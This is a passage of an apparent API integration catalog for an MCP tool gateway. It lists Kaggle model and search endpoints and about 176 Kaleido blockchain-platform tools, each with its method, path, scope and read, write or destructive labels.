/api/v1/kaggle/models.ModelApiService/UpdateModelInstance. Scopes: api. kaggle_post_models_modelapiservice_uploadmodelfile (write) — Upload model file. Kaggle Models: POST /models.ModelApiService/UploadModelFile. Deprecated. Use the new unified BlobApiService#StartBlobUpload rpc. Returns a signed upload URL and token; the file bytes must be PUT to that URL outside Agentic Fabriq, since no tool call can carry them. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/models.ModelApiService/UploadModelFile. Scopes: api. kaggle_post_models_modelapiservice_wellknowendpoint (read) — Get model-signing OpenID configuration. Kaggle Models: POST /models.ModelApiService/WellKnowEndpoint. The OpenID Connect discovery document for Kaggle's model-signing identity tokens. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/models.ModelApiService/WellKnowEndpoint. Scopes: api. kaggle_post_models_modelproxyapiservice_getmodelproxyquotas (read) — Get model proxy quotas. Kaggle Model Proxy: POST /models.ModelProxyApiService/GetModelProxyQuotas. Returns the current user's Model Proxy (AI inference) quota balances, one per refill period (daily and monthly). Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. POST /api/v1/kaggle/models.ModelProxyApiService/GetModelProxyQuotas. Scopes: api. kaggle_post_models_modelservice_getmodelmetrics (read) — Get model metrics. Kaggle Models: POST /models.ModelService/GetModelMetrics. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. WITHHELD: api.kaggle.com does not route this RPC (it answers 404 with Kaggle's HTML home page to a real token), so this call is refused before any request is made. POST /api/v1/kaggle/models.ModelService/GetModelMetrics. Scopes: api. kaggle_post_search_searchapiservice_listentities (read) — Search Kaggle entities. Kaggle Search: POST /search.SearchApiService/ListEntities. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `filters`. POST /api/v1/kaggle/search.SearchApiService/ListEntities. Scopes: api. kaggle_post_users_groupapiservice_listsynchronizedgroupmemberships (read) — List synchronized group memberships. Kaggle Groups: POST /users.GroupApiService/ListSynchronizedGroupMemberships. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `groupSlug`. POST /api/v1/kaggle/users.GroupApiService/ListSynchronizedGroupMemberships. Scopes: api. kaggle_post_users_groupapiservice_listusermanagedgroupmemberships (read) — List user managed group memberships. Kaggle Groups: POST /users.GroupApiService/ListUserManagedGroupMemberships. Arguments go inside `body`, spelled as Kaggle's camelCase JSON names. Required inside `body`: `groupSlug`. POST /api/v1/kaggle/users.GroupApiService/ListUserManagedGroupMemberships. Scopes: api. ================================================================================ ## Kaleido URL: https://www.agenticfabriq.com/integrations/kaleido Section: Integrated Tools Kaleido — 176 MCP tools Provider key: kaleido. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. kaleido_delete_apikeys_by_apikey_id (write, destructive) — Delete an API Key. Changes the organization's shared API keys: a deleted key stops working for everything that uses it, including this connection. DELETE /api/v1/kaleido/apikeys/{apikey_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id (write, destructive) — Delete a specific consortia. Destroys the whole consortium, including every environment, node and service inside it. DELETE /api/v1/kaleido/consortia/{consortia_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_contracts_by_contract_id (write, destructive) — Delete a specific contract. DELETE /api/v1/kaleido/consortia/{consortia_id}/contracts/{contract_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_contracts_by_contract_id_compiled_contracts_by_compiled_contract_id (write, destructive) — Delete a specific compiled contract. DELETE /api/v1/kaleido/consortia/{consortia_id}/contracts/{contract_id}/compiled_contracts/{compiled_contract_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_environments_by_environment_id (write, destructive) — Delete a specific environment. Destroys the whole environment, including every node, service and app credential inside it. DELETE /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_environments_by_environment_id_appcreds_by_appkey_id (write, destructive) — Delete an Application Credential. DELETE /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/appcreds/{appkey_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_environments_by_environment_id_backup (write, destructive) — Delete a specific environment's backup configuration. DELETE /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/backup. Scopes: api. kaleido_delete_consortia_by_consortia_id_environments_by_environment_id_configurations_by_config_id (write, destructive) — Delete a specific configuration. DELETE /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/configurations/{config_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_environments_by_environment_id_integrations_by_integration_id (write, destructive) — Delete a specific integration. DELETE /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/integrations/{integration_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id (write, destructive) — Delete a node. DELETE /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_environments_by_environment_id_oauth_by_oauth_id (write, destructive) — Delete an OAuth Resource Manager configuration. DELETE /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/oauth/{oauth_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_environments_by_environment_id_services_by_service_id (write, destructive) — Delete a specific service. DELETE /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/services/{service_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_environments_by_environment_id_zones_by_zone_id (write, destructive) — Delete a specific environment deployment zone. DELETE /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/zones/{zone_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_invitations_by_invitation_id (write, destructive) — Delete a specific invitation. DELETE /api/v1/kaleido/consortia/{consortia_id}/invitations/{invitation_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_memberships_by_membership_id (write, destructive) — Delete a specific membership. DELETE /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_memberships_by_membership_id_tenants_by_tenant_id (write, destructive) — Delete a Tenant. DELETE /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}/tenants/{tenant_id}. Scopes: api. kaleido_delete_consortia_by_consortia_id_zones_by_zone_id (write, destructive) — Delete a specific consortia deployment zone. DELETE /api/v1/kaleido/consortia/{consortia_id}/zones/{zone_id}. Scopes: api. kaleido_delete_orgs_by_org_id (write, destructive) — Delete a specific Organization. DELETE /api/v1/kaleido/orgs/{org_id}. Scopes: api. kaleido_delete_orgs_by_org_id_idproofs_by_proof_id (write, destructive) — Remove an ID proof from an organization. DELETE /api/v1/kaleido/orgs/{org_id}/idproofs/{proof_id}. Scopes: api. kaleido_delete_orgs_by_org_id_roles_by_role_id (write, destructive) — Remove a role from an Organization. Changes an organization-wide role, so it changes what every user holding that role may do. DELETE /api/v1/kaleido/orgs/{org_id}/roles/{role_id}. Scopes: api. kaleido_get_apikeys (read) — Get info about the API Keys. GET /api/v1/kaleido/apikeys. Scopes: api. kaleido_get_apikeys_by_apikey_id (read) — Get a specific API Key. GET /api/v1/kaleido/apikeys/{apikey_id}. Scopes: api. kaleido_get_audit (read) — Get all events with the provided jwt. GET /api/v1/kaleido/audit. Scopes: api. kaleido_get_audit_by_consortia_id (read) — Get all events for a particular consortia. GET /api/v1/kaleido/audit/{consortia_id}. Scopes: api. kaleido_get_consortia (read) — Get all consortia. GET /api/v1/kaleido/consortia. Scopes: api. kaleido_get_consortia_by_consortia_id (read) — Get a specific consortia. GET /api/v1/kaleido/consortia/{consortia_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_charter (read) — Get the charter of a specific consortia. GET /api/v1/kaleido/consortia/{consortia_id}/charter. Scopes: api. kaleido_get_consortia_by_consortia_id_contracts (read) — Get all contracts for the consortia. GET /api/v1/kaleido/consortia/{consortia_id}/contracts. Scopes: api. kaleido_get_consortia_by_consortia_id_contracts_by_contract_id (read) — Get a specific contract. GET /api/v1/kaleido/consortia/{consortia_id}/contracts/{contract_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_contracts_by_contract_id_compiled_contracts (read) — Get all compiled contracts for the consortia. GET /api/v1/kaleido/consortia/{consortia_id}/contracts/{contract_id}/compiled_contracts. Scopes: api. kaleido_get_consortia_by_consortia_id_contracts_by_contract_id_compiled_contracts_by_compiled_contract_id (read) — Get a specific compiled contract. GET /api/v1/kaleido/consortia/{consortia_id}/contracts/{contract_id}/compiled_contracts/{compiled_contract_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments (read) — Get all environments for the consortia. GET /api/v1/kaleido/consortia/{consortia_id}/environments. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id (read) — Get a specific environment. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_appcreds (read) — Get the Application Credentials of a particular environment. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/appcreds. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_appcreds_by_appkey_id (read) — Get a specific Application Credential. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/appcreds/{appkey_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_backup (read) — Get an Environment's Backup Configuration. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/backup. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_backup_status (read) — Only applicable to Ethereum environments that have Environment Backups enabled. Returns a record of history of all backup files for an environment. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/backup/status. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_channels (read) — Get all channels in the environment (Fabric environments only). GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/channels. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_channels_by_channel_id (read) — Get a specific channel. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/channels/{channel_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_configurations (read) — Get the configurations for an environment. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/configurations. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_configurations_by_config_id (read) — Get a specific configuration. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/configurations/{config_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_eth_getbalance_by_address (read) — Get ether balance of the account. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/eth/getbalance/{address}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_ethstats (read) — Only applicable to Ethereum environments. Returns each node's transaction pool status, block height and p2p network peers. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/ethstats. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_genesis (read) — Get an Environment's genesis configuration. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/genesis. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_integrations (read) — Get all integrations for the environment. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/integrations. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_integrations_by_integration_id (read) — Get a specific integration. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/integrations/{integration_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_nodes (read) — Get all nodes for the environment. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id (read) — Get Node details. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id_logs_by_log_type (read) — Get a specific node's logs. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}/logs/{log_type}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id_status (read) — Provides information about node's runtime, such as current block height, signer list, chain configuration, access URLs and more. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}/status. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id_txpool_content (read) — Get details of the nodes's transaction pool contents. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}/txpool/content. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id_txpool_status (read) — Get a summary of the nodes's transaction pool contents. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}/txpool/status. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_oauth (read) — Get the OAuth Configurations of a particular environment. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/oauth. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_oauth_by_oauth_id (read) — Get a specific OAuth Resource Manager configuration. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/oauth/{oauth_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_services (read) — Get all services for the environment. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/services. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_services_by_service_id (read) — Get a specific service. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/services/{service_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_services_by_service_id_logs (read) — Get a specific service's logs list. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/services/{service_id}/logs. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_services_by_service_id_logs_by_log_name (read) — Get a specific service particular log. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/services/{service_id}/logs/{log_name}. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_services_by_service_id_status (read) — Get a specific service's status. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/services/{service_id}/status. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_status (read) — Get an Environment's status. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/status. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_zones (read) — Get all deployment zones for the environment. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/zones. Scopes: api. kaleido_get_consortia_by_consortia_id_environments_by_environment_id_zones_by_zone_id (read) — Get a specific environment deployment zone. GET /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/zones/{zone_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_invitations (read) — Get all invitations for the consortia. GET /api/v1/kaleido/consortia/{consortia_id}/invitations. Scopes: api. kaleido_get_consortia_by_consortia_id_invitations_by_invitation_id (read) — Get a specific invitation. GET /api/v1/kaleido/consortia/{consortia_id}/invitations/{invitation_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_invitations_by_invitation_id_charter (read) — Get a specific invitation with some extra info. GET /api/v1/kaleido/consortia/{consortia_id}/invitations/{invitation_id}/charter. Scopes: api. kaleido_get_consortia_by_consortia_id_memberships (read) — Get all memberships for the consortia. GET /api/v1/kaleido/consortia/{consortia_id}/memberships. Scopes: api. kaleido_get_consortia_by_consortia_id_memberships_by_membership_id (read) — Get a specific membership. GET /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_memberships_by_membership_id_idproof (read) — Get a specific membership's identity proof. GET /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}/idproof. Scopes: api. kaleido_get_consortia_by_consortia_id_memberships_by_membership_id_owner (read) — Get a specific membership's owner. GET /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}/owner. Scopes: api. kaleido_get_consortia_by_consortia_id_memberships_by_membership_id_tenants (read) — Get the Tenants of a particular environment. GET /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}/tenants. Scopes: api. kaleido_get_consortia_by_consortia_id_memberships_by_membership_id_tenants_by_tenant_id (read) — Get a specific Tenant. GET /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}/tenants/{tenant_id}. Scopes: api. kaleido_get_consortia_by_consortia_id_zones (read) — Get all deployment zones for the consortia. GET /api/v1/kaleido/consortia/{consortia_id}/zones. Scopes: api. kaleido_get_consortia_by_consortia_id_zones_by_zone_id (read) — Get a specific consortia deployment zone. GET /api/v1/kaleido/consortia/{consortia_id}/zones/{zone_id}. Scopes: api. kaleido_get_invitations (read) — Get all invitations for the current user where they are the target. GET /api/v1/kaleido/invitations. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_activity (read) — Gets last chain activity. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/activity. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_addresses_by_address (read) — Get a deployed contract's information. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/addresses/{address}. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_addresses_by_address_transactions (read) — Get a deployed contract's transactions. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/addresses/{address}/transactions. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_blocks (read) — Get a range of blocks in the chain. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/blocks. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_blocks_by_block_number (read) — Get a specific block in the chain. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/blocks/{block_number}. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_blocks_by_block_number_transactions (read) — Get the transactions in a specific block. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/blocks/{block_number}/transactions. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_contracts (read) — Get the contracts deployed on the chain. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/contracts. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_contracts_by_address (read) — Get info about a specific deployed contract. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/contracts/{address}. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_gateway_apis (read) — Get the Gateway API's that have been promoted to this environment. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/gateway_apis. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_gateway_apis_by_gateway_api_id (read) — Get info about a specific Gateway API. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/gateway_apis/{gateway_api_id}. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_gateway_apis_by_gateway_api_id_contracts (read) — Get all the deployed contract instances of a single Gateway API. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/gateway_apis/{gateway_api_id}/contracts. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_stats_by_since (read) — Get the ledger stats since a specific time. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/stats/{since}. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_tokens_contracts (read) — Get the token contracts deployed on the chain. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/tokens/contracts. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_tokens_contracts_by_address (read) — Get info about a specific deployed token contract. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/tokens/contracts/{address}. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_tokens_contracts_by_address_balanceof_by_account (read) — Get the balance of a particular account for a specific erc20 token contract. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/tokens/contracts/{address}/balanceOf/{account}. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_tokens_contracts_by_address_ownerof_by_tokenid (read) — Get the owner of a particular tokenId for a specific erc721 token contract. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/tokens/contracts/{address}/ownerOf/{tokenId}. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_tokens_contracts_by_address_transfers (read) — Get transfer transactions for a specific token contract, with pagination and a limit of up to 25 records per query". GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/tokens/contracts/{address}/transfers. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_tokens_contracts_by_address_transfers_by_wallet_address (read) — Get transfer transactions to or from a particular wallet address for a specific token contract, with pagination and a limit of up to 25 records per query". GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/tokens/contracts/{address}/transfers/{wallet_address}. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_transactions (read) — Get the last 25 transactions from the ledger or lookup using the range parameters. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/transactions. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_transactions_by_hash (read) — Get information about a transaction. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/transactions/{hash}. Scopes: api. kaleido_get_ledger_by_consortia_id_by_environment_id_transactions_by_hash_receipt (read) — Get the receipt of a specific transaction. GET /api/v1/kaleido/ledger/{consortia_id}/{environment_id}/transactions/{hash}/receipt. Scopes: api. kaleido_get_memberships (read) — Get all memberships for the current user. GET /api/v1/kaleido/memberships. Scopes: api. kaleido_get_orgs (read) — Get the Organizations that user has access to. GET /api/v1/kaleido/orgs. Scopes: api. kaleido_get_orgs_by_org_id (read) — Get a specific Organization. GET /api/v1/kaleido/orgs/{org_id}. Scopes: api. kaleido_get_orgs_by_org_id_billing_provider (read) — Returns type of billing (aws, stripe or other) and details if using stripe. GET /api/v1/kaleido/orgs/{org_id}/billing/provider. Scopes: api. kaleido_get_orgs_by_org_id_billing_summary (read) — Get a summary of the billing data for the current month. GET /api/v1/kaleido/orgs/{org_id}/billing/summary. Scopes: api. kaleido_get_orgs_by_org_id_idproofs (read) — Get all proofs of an organization. GET /api/v1/kaleido/orgs/{org_id}/idproofs. Scopes: api. kaleido_get_orgs_by_org_id_idproofs_by_proof_id (read) — Get a specific ID proof of an organization. GET /api/v1/kaleido/orgs/{org_id}/idproofs/{proof_id}. Scopes: api. kaleido_get_orgs_by_org_id_plan (read) — Get the plan for a specific Organization. GET /api/v1/kaleido/orgs/{org_id}/plan. Scopes: api. kaleido_get_orgs_by_org_id_roles (read) — Get all roles of an Organization. GET /api/v1/kaleido/orgs/{org_id}/roles. Scopes: api. kaleido_get_orgs_by_org_id_roles_by_role_id (read) — Get a specific role of an Organization. GET /api/v1/kaleido/orgs/{org_id}/roles/{role_id}. Scopes: api. kaleido_get_plancompliance_by_org_id (read) — Determine compliance with all available plans, to find resources that would prevent changing your subscription. GET /api/v1/kaleido/plancompliance/{org_id}. Scopes: api. kaleido_get_plans (read) — Get all available plans. GET /api/v1/kaleido/plans. Scopes: api. kaleido_get_regions (read) — List of API endpoints and their associated deployment zones. GET /api/v1/kaleido/regions. Scopes: api. kaleido_get_releases (read) — Get current list of environment runtime releases. GET /api/v1/kaleido/releases. Scopes: api. kaleido_get_releases_by_release_id (read) — Get a specific environment runtime release. GET /api/v1/kaleido/releases/{release_id}. Scopes: api. kaleido_get_services (read) — Retrieves all services that the current user owns or has visibility of. GET /api/v1/kaleido/services. Scopes: api. kaleido_patch_apikeys_by_apikey_id (write) — Update an API Key. Changes the organization's shared API keys: a deleted key stops working for everything that uses it, including this connection. PATCH /api/v1/kaleido/apikeys/{apikey_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id (write) — Update a specific consortia. PATCH /api/v1/kaleido/consortia/{consortia_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_contracts_by_contract_id (write) — Update a specific contract. PATCH /api/v1/kaleido/consortia/{consortia_id}/contracts/{contract_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_contracts_by_contract_id_compiled_contracts_by_compiled_contract_id (write) — Update a specific compiled contract. PATCH /api/v1/kaleido/consortia/{consortia_id}/contracts/{contract_id}/compiled_contracts/{compiled_contract_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_environments_by_environment_id (write) — Update a specific environment. PATCH /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_environments_by_environment_id_appcreds_by_appkey_id (write) — Update a specific Application Credential. PATCH /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/appcreds/{appkey_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_environments_by_environment_id_backup (write) — Update an Environment's Backup Configuration. PATCH /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/backup. Scopes: api. kaleido_patch_consortia_by_consortia_id_environments_by_environment_id_channels_by_channel_id (write) — Update a specific channel's members list. PATCH /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/channels/{channel_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_environments_by_environment_id_configurations_by_config_id (write) — Update a specific configuration. PATCH /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/configurations/{config_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_environments_by_environment_id_integrations_by_integration_id (write) — Update a specific integration. PATCH /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/integrations/{integration_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_environments_by_environment_id_nodes_by_node_id (write) — Update a specific node. PATCH /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/nodes/{node_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_environments_by_environment_id_oauth_by_oauth_id (write) — Update a specific OAuth Resource Manager configuration. PATCH /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/oauth/{oauth_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_environments_by_environment_id_services_by_service_id (write) — Update a specific service. PATCH /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/services/{service_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_environments_by_environment_id_zones_by_zone_id (write) — Update a specific environment deployment zone. PATCH /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/zones/{zone_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_invitations_by_invitation_id (write) — Update a specific invitation. PATCH /api/v1/kaleido/consortia/{consortia_id}/invitations/{invitation_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_memberships_by_membership_id (write) — Update a specific membership. PATCH /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_memberships_by_membership_id_tenants_by_tenant_id (write) — Update a specific Tenant. PATCH /api/v1/kaleido/consortia/{consortia_id}/memberships/{membership_id}/tenants/{tenant_id}. Scopes: api. kaleido_patch_consortia_by_consortia_id_zones_by_zone_id (write) — Update a specific consortia deployment zone. PATCH /api/v1/kaleido/consortia/{consortia_id}/zones/{zone_id}. Scopes: api. kaleido_patch_orgs_by_org_id (write) — Update a specific Organization. PATCH /api/v1/kaleido/orgs/{org_id}. Scopes: api. kaleido_patch_orgs_by_org_id_idproofs_by_proof_id (write) — Update the details of an ID proof of an organization. PATCH /api/v1/kaleido/orgs/{org_id}/idproofs/{proof_id}. Scopes: api. kaleido_patch_orgs_by_org_id_roles_by_role_id (write) — Update the details of a role of an Organization. Changes an organization-wide role, so it changes what every user holding that role may do. PATCH /api/v1/kaleido/orgs/{org_id}/roles/{role_id}. Scopes: api. kaleido_post_apikeys (write) — Create a new API Key. Changes the organization's shared API keys: a deleted key stops working for everything that uses it, including this connection. POST /api/v1/kaleido/apikeys. Scopes: api. kaleido_post_consortia (write) — Create a consortia. POST /api/v1/kaleido/consortia. Scopes: api. kaleido_post_consortia_by_consortia_id_contracts (write) — Create a contract for the consortia. POST /api/v1/kaleido/consortia/{consortia_id}/contracts. Scopes: api. kaleido_post_consortia_by_consortia_id_contracts_by_contract_id_compiled_contracts (write) — Create a compiled contract for the consortia. POST /api/v1/kaleido/consortia/{consortia_id}/contracts/{contract_id}/compiled_contracts. Scopes: api. kaleido_post_consortia_by_consortia_id_contracts_by_contract_id_compiled_contracts_by_compiled_contract_id_promote (write) — Promote the compiled contract to an environment. This will install a Gateway API on the environment which can be used to deploy new instances of this contract, as well as interact with previously deployed instances. POST /api/v1/kaleido/consortia/{consortia_id}/contracts/{contract_id}/compiled_contracts/{compiled_contract_id}/promote. Scopes: api. kaleido_post_consortia_by_consortia_id_environments (write) — Create an environment for the consortia. POST /api/v1/kaleido/consortia/{consortia_id}/environments. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_appcreds (write) — Create new Application Credentials. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/appcreds. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_appcreds_by_appkey_id_regenerate (write) — Regenerate the password for a specific app cred. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/appcreds/{appkey_id}/regenerate. Scopes: api. kaleido_post_consortia_by_consortia_id_environments_by_environment_id_backup (write) — Create an Environment's Backup Configuration. POST /api/v1/kaleido/consortia/{consortia_id}/environments/{environment_id}/backup. Scopes: api. 